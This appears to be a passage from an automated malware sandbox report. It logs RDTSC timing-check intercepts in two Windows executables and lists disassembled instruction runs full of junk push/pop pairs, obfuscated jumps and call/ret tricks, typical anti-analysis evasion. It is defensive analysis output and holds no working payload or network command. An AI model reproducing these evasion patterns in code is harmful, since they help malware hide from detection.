Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC08E6 second address: 4EC08EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC08EC second address: 4EC0937 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [ebp-04h], FFFFFFFEh 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007FE0F4D4490Dh 0x00000016 sbb eax, 27217C36h 0x0000001c jmp 00007FE0F4D44911h 0x00000021 popfd 0x00000022 mov ch, ACh 0x00000024 popad 0x00000025 mov eax, ebx 0x00000027 pushad 0x00000028 mov edx, 39A4B46Ch 0x0000002d popad 0x0000002e mov ecx, dword ptr [ebp-10h] 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 pushad 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0937 second address: 4EC093B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC093B second address: 4EC0941 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0941 second address: 4EC0947 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0947 second address: 4EC094B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC094B second address: 4EC094F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC094F second address: 4EC097C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr fs:[00000000h], ecx 0x0000000f jmp 00007FE0F4D44919h 0x00000014 pop ecx 0x00000015 pushad 0x00000016 push ecx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC097C second address: 4EC0A13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 mov si, 53F5h 0x00000009 popad 0x0000000a pop edi 0x0000000b pushad 0x0000000c movzx eax, dx 0x0000000f pushfd 0x00000010 jmp 00007FE0F4DC3CB3h 0x00000015 adc cx, 14DEh 0x0000001a jmp 00007FE0F4DC3CB9h 0x0000001f popfd 0x00000020 popad 0x00000021 pop esi 0x00000022 pushad 0x00000023 jmp 00007FE0F4DC3CACh 0x00000028 pushfd 0x00000029 jmp 00007FE0F4DC3CB2h 0x0000002e add ax, 4408h 0x00000033 jmp 00007FE0F4DC3CABh 0x00000038 popfd 0x00000039 popad 0x0000003a pop ebx 0x0000003b jmp 00007FE0F4DC3CB6h 0x00000040 leave 0x00000041 push eax 0x00000042 push edx 0x00000043 pushad 0x00000044 movsx ebx, cx 0x00000047 mov cl, 67h 0x00000049 popad 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0A13 second address: 4EC05CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, eax 0x00000005 pushfd 0x00000006 jmp 00007FE0F4D4490Ah 0x0000000b or si, 38C8h 0x00000010 jmp 00007FE0F4D4490Bh 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 retn 0008h 0x0000001c cmp dword ptr [ebp-2Ch], 10h 0x00000020 mov eax, dword ptr [ebp-40h] 0x00000023 jnc 00007FE0F4D44905h 0x00000025 push eax 0x00000026 lea edx, dword ptr [ebp-00000590h] 0x0000002c push edx 0x0000002d call esi 0x0000002f push 00000008h 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 jmp 00007FE0F4D4490Ah 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0B87 second address: 4EC0B8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0B8B second address: 4EC0B8F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0B8F second address: 4EC0B95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 7FF192 second address: 7FF1C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE0F4D44915h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FE0F4D44918h 0x00000013 rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 978E51 second address: 978E55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 95E9D5 second address: 95E9E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 95E9E0 second address: 95E9E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 977DDD second address: 977DE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 977F3D second address: 977F59 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE0F4DC3CB2h 0x00000007 push eax 0x00000008 push edx 0x00000009 jbe 00007FE0F4DC3CA6h 0x0000000f rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 95EA36 second address: 95EA50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007FE0F4D44912h 0x0000000b push esi 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 978093 second address: 9780B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE0F4DC3CB3h 0x00000009 pop esi 0x0000000a pushad 0x0000000b jne 00007FE0F4DC3CAEh 0x00000011 push edx 0x00000012 pop edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 9780B6 second address: 9780C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 je 00007FE0F4D44906h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 978225 second address: 978229 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 978229 second address: 97822D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 978655 second address: 978659 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 978659 second address: 978677 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 pushad 0x00000008 jmp 00007FE0F4D44912h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 978677 second address: 97867D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 97867D second address: 978681 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 97B836 second address: 97B8C8 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FE0F4DC3CA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e jng 00007FE0F4DC3CACh 0x00000014 add dword ptr [ebp+122D299Dh], edi 0x0000001a and ecx, 7962AA91h 0x00000020 push 00000000h 0x00000022 pushad 0x00000023 or dword ptr [ebp+122D30F9h], ebx 0x00000029 add dword ptr [ebp+122D1BABh], ebx 0x0000002f popad 0x00000030 mov edi, 5AA8EB4Ch 0x00000035 push 4725B747h 0x0000003a jnl 00007FE0F4DC3CB2h 0x00000040 xor dword ptr [esp], 4725B7C7h 0x00000047 add edx, 194B891Fh 0x0000004d push 00000003h 0x0000004f push 00000000h 0x00000051 push ebx 0x00000052 call 00007FE0F4DC3CA8h 0x00000057 pop ebx 0x00000058 mov dword ptr [esp+04h], ebx 0x0000005c add dword ptr [esp+04h], 00000014h 0x00000064 inc ebx 0x00000065 push ebx 0x00000066 ret 0x00000067 pop ebx 0x00000068 ret 0x00000069 push 00000000h 0x0000006b mov esi, ecx 0x0000006d push 00000003h 0x0000006f xor edi, 49C5A012h 0x00000075 call 00007FE0F4DC3CA9h 0x0000007a push eax 0x0000007b push edx 0x0000007c push eax 0x0000007d push edx 0x0000007e push ecx 0x0000007f pop ecx 0x00000080 rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 97B8C8 second address: 97B8CE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 97B8CE second address: 97B90F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FE0F4DC3CB6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f jmp 00007FE0F4DC3CB9h 0x00000014 push eax 0x00000015 push edx 0x00000016 jbe 00007FE0F4DC3CA6h 0x0000001c rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 97B90F second address: 97B948 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE0F4D44918h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FE0F4D44916h 0x00000015 rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 97B948 second address: 97B95D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jp 00007FE0F4DC3CA6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [eax] 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 97B95D second address: 97B961 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 97B961 second address: 97B974 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b pushad 0x0000000c push ecx 0x0000000d pushad 0x0000000e popad 0x0000000f pop ecx 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 97B974 second address: 97B9EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE0F4D44913h 0x00000009 popad 0x0000000a popad 0x0000000b pop eax 0x0000000c mov edi, 2C16CC55h 0x00000011 lea ebx, dword ptr [ebp+1245073Eh] 0x00000017 push 00000000h 0x00000019 push edi 0x0000001a call 00007FE0F4D44908h 0x0000001f pop edi 0x00000020 mov dword ptr [esp+04h], edi 0x00000024 add dword ptr [esp+04h], 00000018h 0x0000002c inc edi 0x0000002d push edi 0x0000002e ret 0x0000002f pop edi 0x00000030 ret 0x00000031 call 00007FE0F4D4490Ch 0x00000036 or edi, dword ptr [ebp+122D5641h] 0x0000003c pop ecx 0x0000003d jmp 00007FE0F4D44911h 0x00000042 push eax 0x00000043 push eax 0x00000044 push edx 0x00000045 pushad 0x00000046 jno 00007FE0F4D44906h 0x0000004c jng 00007FE0F4D44906h 0x00000052 popad 0x00000053 rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 97BB38 second address: 97BBAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 xor dword ptr [esp], 77F70E81h 0x0000000d lea ebx, dword ptr [ebp+12450747h] 0x00000013 push 00000000h 0x00000015 push eax 0x00000016 call 00007FE0F4DC3CA8h 0x0000001b pop eax 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 add dword ptr [esp+04h], 0000001Ch 0x00000028 inc eax 0x00000029 push eax 0x0000002a ret 0x0000002b pop eax 0x0000002c ret 0x0000002d jmp 00007FE0F4DC3CADh 0x00000032 pushad 0x00000033 ja 00007FE0F4DC3CACh 0x00000039 sub dword ptr [ebp+122D2EFAh], ebx 0x0000003f popad 0x00000040 push eax 0x00000041 push eax 0x00000042 push edx 0x00000043 jmp 00007FE0F4DC3CB8h 0x00000048 rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 97BBF8 second address: 97BC3A instructions: 0x00000000 rdtsc 0x00000002 je 00007FE0F4D44906h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b push eax 0x0000000c jns 00007FE0F4D4490Ch 0x00000012 nop 0x00000013 mov esi, dword ptr [ebp+122D35AFh] 0x00000019 js 00007FE0F4D44908h 0x0000001f mov edi, esi 0x00000021 push 00000000h 0x00000023 mov dword ptr [ebp+122D2EFAh], edx 0x00000029 call 00007FE0F4D44909h 0x0000002e push ebx 0x0000002f pushad 0x00000030 jnp 00007FE0F4D44906h 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 97BC3A second address: 97BC67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 jg 00007FE0F4DC3CA6h 0x0000000f pop eax 0x00000010 jmp 00007FE0F4DC3CAFh 0x00000015 popad 0x00000016 mov eax, dword ptr [esp+04h] 0x0000001a push esi 0x0000001b push eax 0x0000001c push edx 0x0000001d js 00007FE0F4DC3CA6h 0x00000023 rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 97BC67 second address: 97BC81 instructions: 0x00000000 rdtsc 0x00000002 js 00007FE0F4D44906h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b mov eax, dword ptr [eax] 0x0000000d pushad 0x0000000e jne 00007FE0F4D44908h 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 97BC81 second address: 97BC85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 97BC85 second address: 97BC89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 9605BF second address: 9605C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 9605C5 second address: 9605D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FE0F4D44906h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 99A57E second address: 99A582 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 99AC33 second address: 99AC37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 9926DD second address: 99270B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FE0F4DC3CB2h 0x0000000a jno 00007FE0F4DC3CA6h 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 jbe 00007FE0F4DC3CB2h 0x00000019 js 00007FE0F4DC3CACh 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 962104 second address: 962129 instructions: 0x00000000 rdtsc 0x00000002 je 00007FE0F4D44906h 0x00000008 jmp 00007FE0F4D44914h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edi 0x00000010 pushad 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 962129 second address: 962151 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FE0F4DC3CA6h 0x0000000a jmp 00007FE0F4DC3CB2h 0x0000000f popad 0x00000010 pushad 0x00000011 jp 00007FE0F4DC3CA6h 0x00000017 push esi 0x00000018 pop esi 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 99B1C6 second address: 99B1E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007FE0F4D44912h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 99B1E5 second address: 99B202 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FE0F4DC3CB6h 0x0000000c rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 99B7F0 second address: 99B7F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 99B97D second address: 99B98A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 ja 00007FE0F4DC3CA6h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 9A077E second address: 9A0782 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 9A0782 second address: 9A0788 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 9A0788 second address: 9A078C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 9A2210 second address: 9A2214 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 968C1A second address: 968C27 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 9A650E second address: 9A652B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE0F4DC3CB8h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 9A67AF second address: 9A67D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FE0F4D44906h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d jmp 00007FE0F4D44910h 0x00000012 jc 00007FE0F4D44912h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 9A6C07 second address: 9A6C17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FE0F4DC3CA6h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 9A7C2D second address: 9A7C33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 9A801A second address: 9A8039 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE0F4DC3CB6h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 9A8785 second address: 9A87A1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE0F4D44914h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 9A87A1 second address: 9A87A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 9A8C12 second address: 9A8C16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 9A8C16 second address: 9A8C23 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE0F4DC3CA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 9A8DB5 second address: 9A8DB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 9A8DB9 second address: 9A8DD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a je 00007FE0F4DC3CB1h 0x00000010 jmp 00007FE0F4DC3CABh 0x00000015 rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 963C14 second address: 963C1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 963C1A second address: 963C40 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnp 00007FE0F4DC3CA6h 0x0000000d jmp 00007FE0F4DC3CB4h 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 push edi 0x00000015 pop edi 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 9AB215 second address: 9AB220 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007FE0F4D44906h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 9ACEA3 second address: 9ACF40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE0F4DC3CB4h 0x00000009 popad 0x0000000a push eax 0x0000000b jnl 00007FE0F4DC3CA6h 0x00000011 pop eax 0x00000012 popad 0x00000013 push eax 0x00000014 jmp 00007FE0F4DC3CACh 0x00000019 nop 0x0000001a push 00000000h 0x0000001c push ecx 0x0000001d call 00007FE0F4DC3CA8h 0x00000022 pop ecx 0x00000023 mov dword ptr [esp+04h], ecx 0x00000027 add dword ptr [esp+04h], 0000001Dh 0x0000002f inc ecx 0x00000030 push ecx 0x00000031 ret 0x00000032 pop ecx 0x00000033 ret 0x00000034 push 00000000h 0x00000036 xor dword ptr [ebp+12449A8Fh], esi 0x0000003c push 00000000h 0x0000003e push 00000000h 0x00000040 push ebx 0x00000041 call 00007FE0F4DC3CA8h 0x00000046 pop ebx 0x00000047 mov dword ptr [esp+04h], ebx 0x0000004b add dword ptr [esp+04h], 0000001Ch 0x00000053 inc ebx 0x00000054 push ebx 0x00000055 ret 0x00000056 pop ebx 0x00000057 ret 0x00000058 push eax 0x00000059 pushad 0x0000005a pushad 0x0000005b jmp 00007FE0F4DC3CB5h 0x00000060 push eax 0x00000061 push edx 0x00000062 rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 9AFF64 second address: 9AFF68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 9AFF68 second address: 9AFF6E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	RDTSC instruction interceptor: First address: 9AFF6E second address: 9AFF77 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
